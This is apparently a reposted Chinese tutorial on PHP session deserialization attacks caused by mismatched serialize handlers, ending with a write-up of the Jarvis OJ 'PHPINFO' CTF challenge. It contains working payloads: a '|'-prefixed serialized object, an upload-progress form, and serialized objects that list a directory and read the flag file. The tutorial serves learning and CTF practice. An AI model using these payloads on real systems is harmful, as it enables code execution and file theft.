session反序列化


先來了解一下關於session的一些基礎知識

什么是session?
在計算機中,尤其是在網絡應用中,稱為“會話控制”。Session 對象存儲特定用戶會話所需的屬性及配置信息。這樣,當用戶在應用程序的 Web 頁之間跳轉時,存儲在 Session 對象中的變量將不會丟失,而是在整個用戶會話中一直存在下去。當用戶請求來自應用程序的 Web 頁時,如果該用戶還沒有會話,則 Web 服務器將自動創建一個 Session 對象。當會話過期或被放棄后,服務器將終止該會話。

session是如何起作用的
當第一次訪問網站時,Seesion_start()函數就會創建一個唯一的Session ID,並自動通過HTTP的響應頭,將這個Session ID保存到客戶端Cookie中。同時,也在服務器端創建一個以Session ID命名的文件,用於保存這個用戶的會話信息。當同一個用戶再次訪問這個網站時,也會自動通過HTTP的請求頭將Cookie中保存的Seesion ID再攜帶過來,這時Session_start()函數就不會再去分配一個新的Session ID,而是在服務器的硬盤中去尋找和這個Session ID同名的Session文件,將這之前為這個用戶保存的會話信息讀出,在當前腳本中應用,達到跟蹤這個用戶的目的。

除此之外,還需要知道session_start()這個函數已經這個函數所起的作用:
當會話自動開始或者通過 session_start() 手動開始的時候, PHP 內部會依據客戶端傳來的PHPSESSID來獲取現有的對應的會話數據(即session文件), PHP 會自動反序列化session文件的內容,並將之填充到 $_SESSION 超級全局變量中。如果不存在對應的會話數據,則創建名為sess_PHPSESSID(客戶端傳來的)的文件。如果客戶端未發送PHPSESSID,則創建一個由32個字母組成的PHPSESSID,並返回set-cookie。

了解了有關session的概念后,還需要了解php.ini中一些Session配置

 

1 session.save_path="" --設置session的存儲路徑 2 session.save_handler=""--設定用戶自定義存儲函數,如果想使用PHP內置會話存儲機制之外的可以使用本函數(數據庫等方式) 3 session.auto_start boolen--指定會話模塊是否在請求開始時啟動一個會話默認為0不啟動 4 session.serialize_handler string--定義用來序列化/反序列化的處理器名字。默認使用php

 

 

 

這里我是在Windows上搭建的所以顯示的路徑為E盤,如果是在Linux上搭建的話,常見的php-session存放位置有:

1 /var/lib/php5/sess_PHPSESSID 2 /var/lib/php7/sess_PHPSESSID 3 /var/lib/php/sess_PHPSESSID 4 /tmp/sess_PHPSESSID 5 /tmp/sessions/sess_PHPSESSED

想要知道為什么為出現這個session漏洞,就需要了解session機制中對序列化是如何處理的

php_binary:存儲方式是,鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值 php:存儲方式是,鍵名+豎線+經過serialize()函數序列處理的值 php_serialize(php>5.5.4):存儲方式是,經過serialize()函數序列化處理的值

這個便是在相應的處理器處理下,session所存儲的格式,這里舉個例子來了解一下在不同的處理器下,session所儲存的格式有什么不一樣(測試的時候php版本一定要大於5.5.4,不然session寫不進文件))

 

1 <?php 2 ini_set('session.serialize_handler', 'php'); 3 //ini_set("session.serialize_handler", "php_serialize"); 4 //ini_set("session.serialize_handler", "php_binary");
5 session_start(); 6 $_SESSION['lemon'] = $_GET['a']; 7 echo "<pre>"; 8 var_dump($_SESSION); 9 echo "</pre>";

 

比如這里我get進去一個值為shy,查看一下各個存儲格式:

php : lemon|s:3:"shy"; php_serialize : a:1:{s:5:"lemon";s:3:"shy";} php_binary : lemons:3:"shy";

這有什么問題,其實PHP中的Session的實現是沒有的問題,危害主要是由於程序員的Session使用不當而引起的。如:使用不同引擎來處理session文件。

使用不同的引擎來處理session文件

php引擎的存儲格式是鍵名 | serialized_string,而php_serialize引擎的存儲格式是serialized_string。如果程序使用兩個引擎來分別處理的話就會出現問題。
下面就模仿師傅的操作學習一下

先以php_serialize的格式存儲,從客戶端接收參數並存入session變量

1.php

 1 <?php  2 //ini_set('session.serialize_handler', 'php');
 3 ini_set("session.serialize_handler", "php_serialize");  4 //ini_set("session.serialize_handler", "php_binary");
 5 session_start();  6 $_SESSION['lemon'] = $_GET['a'];  7 echo "<pre>";  8 var_dump($_SESSION);  9 echo "</pre>"; 10 ?>

接下來使用php引擎讀取session文件

2.php

 1 <?php  2 ini_set('session.serialize_handler', 'php');  3 session_start();  4 class student{  5     var $name;  6     var $age;  7     function __wakeup(){  8         echo "hello ".$this->name."!";  9  } 10 } 11 ?>

攻擊思路:
首先訪問1.php,在傳入的參數最開始加一個'|',由於1.php是使用php_serialize引擎處理,因此只會把'|'當做一個正常的字符。然后訪問2.php,由於用的是php引擎,因此遇到'|'時會將之看做鍵名與值的分割符,從而造成了歧義,導致其在解析session文件時直接對'|'后的值進行反序列化處理。
這里可能會有一個小疑問,為什么在解析session文件時直接對'|'后的值進行反序列化處理,這也是處理器的功能?這個其實是因為session_start()這個函數,可以看下官方說明:

 

 首先生成一個payload:

3.php

 1 <?php  2     class student{  3         var $name;  4         var $age;  5  }  6     $a = new student();  7     $a->name =  "daye";  8     $a->age = "100";  9     echo serialize($a); 10 ?>

結果:

O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

攻擊思路中說到了因為不同的引擎會對'|',產生歧義,所以在傳參時在payload前加個'|',作為a參數

payload:

|O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

 

 

訪問1.php,查看一下本地session文件,發現payload已經存入到session文件

 

 

 

php_serialize引擎傳入的payload作為lemon對應值,而php則完全不一樣:

 

 

訪問一下2.php看看會有什么結果

 

 

成功觸發了student類的__wakeup()方法,所以這種攻擊思路是可行的。

 

沒有$_SESSION變量賦值

在PHP中還存在一個upload_process機制,即自動在$_SESSION中創建一個鍵值對,值中剛好存在用戶可控的部分,可以看下官方描述的,這個功能在文件上傳的過程中利用session實時返回上傳的進度。

 

但第一次看到真的有點懵,這該怎么去利用,看了大師傅的博客才明白,這種攻擊方法與上一部分基本相同,不過這里需要先上傳文件,同時POST一個與session.upload_process.name的同名變量。后端會自動將POST的這個同名變量作為鍵進行序列化然后存儲到session文件中。下次請求就會反序列化session文件,從中取出這個鍵。所以攻擊點還是跟上一部分一模一樣,程序還是使用了不同的session處理引擎。

實踐一下,可以來看一道ctf題目

Jarvis OJ——PHPINFO

 

 

當我們隨便傳入一個值時,便會觸發__construct()魔法函數,從而出現phpinfo頁面,在phpinfo頁面發現

 

 

發現默認的引擎是php-serialize,而題目所使用的引擎是php,因為反序列化和序列化使用的處理器不同,由於格式的原因會導致數據無法正確反序列化,那么就可以通過構造偽造任意數據。

觀察代碼會發現這段代碼是沒有$_SESSION變量賦值但符合使用不同的引擎來處理session文件,所以這里就使用到了php中的upload_process機制。

通過POST方法來構造數據傳入$_SESSION,首先構造POST提交表單

1 <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
2     <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
3     <input type="file" name="file" />
4     <input type="submit" />
5 </form>

 

接下來構造序列化payload

 1 <?php  2 ini_set('session.serialize_handler', 'php_serialize');  3 session_start();  4 class OowoO  5 {  6     public $mdzz='payload';  7 }  8 $obj = new OowoO();  9 echo serialize($obj); 10 ?>

將payload改為如下代碼:

1 print_r(scandir(dirname(__FILE__))); 2 #scandir目錄中的文件和目錄
3 #dirname函數返回路徑中的目錄部分
4 #__FILE__ php中的魔法常量,文件的完整路徑和文件名。如果用在被包含文件中,則返回被包含的文件名
5 #序列化后的結果
6 O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

為防止雙引號被轉義,在雙引號前加上\,除此之外還要加上|

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

在這個頁面隨便上傳一個文件,然后抓包修改filename的值

 

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php這個文件,flag肯定在里面,但還有一個問題就是不知道這個路徑,路徑的問題就需要回到phpinfo頁面去查看

 

 

$_SERVER['SCRIPT_FILENAME'] 也是包含當前運行腳本的路徑,與 $_SERVER['SCRIPT_NAME'] 不同的

既然知道了路徑,就繼續構造payload即可

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php")); #file_get_contents() 函數把整個文件讀入一個字符串中。

 

接下來的就還是序列化然后改一下格式傳入即可,后面的就不再寫了

參考:https://xz.aliyun.com/t/7366

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM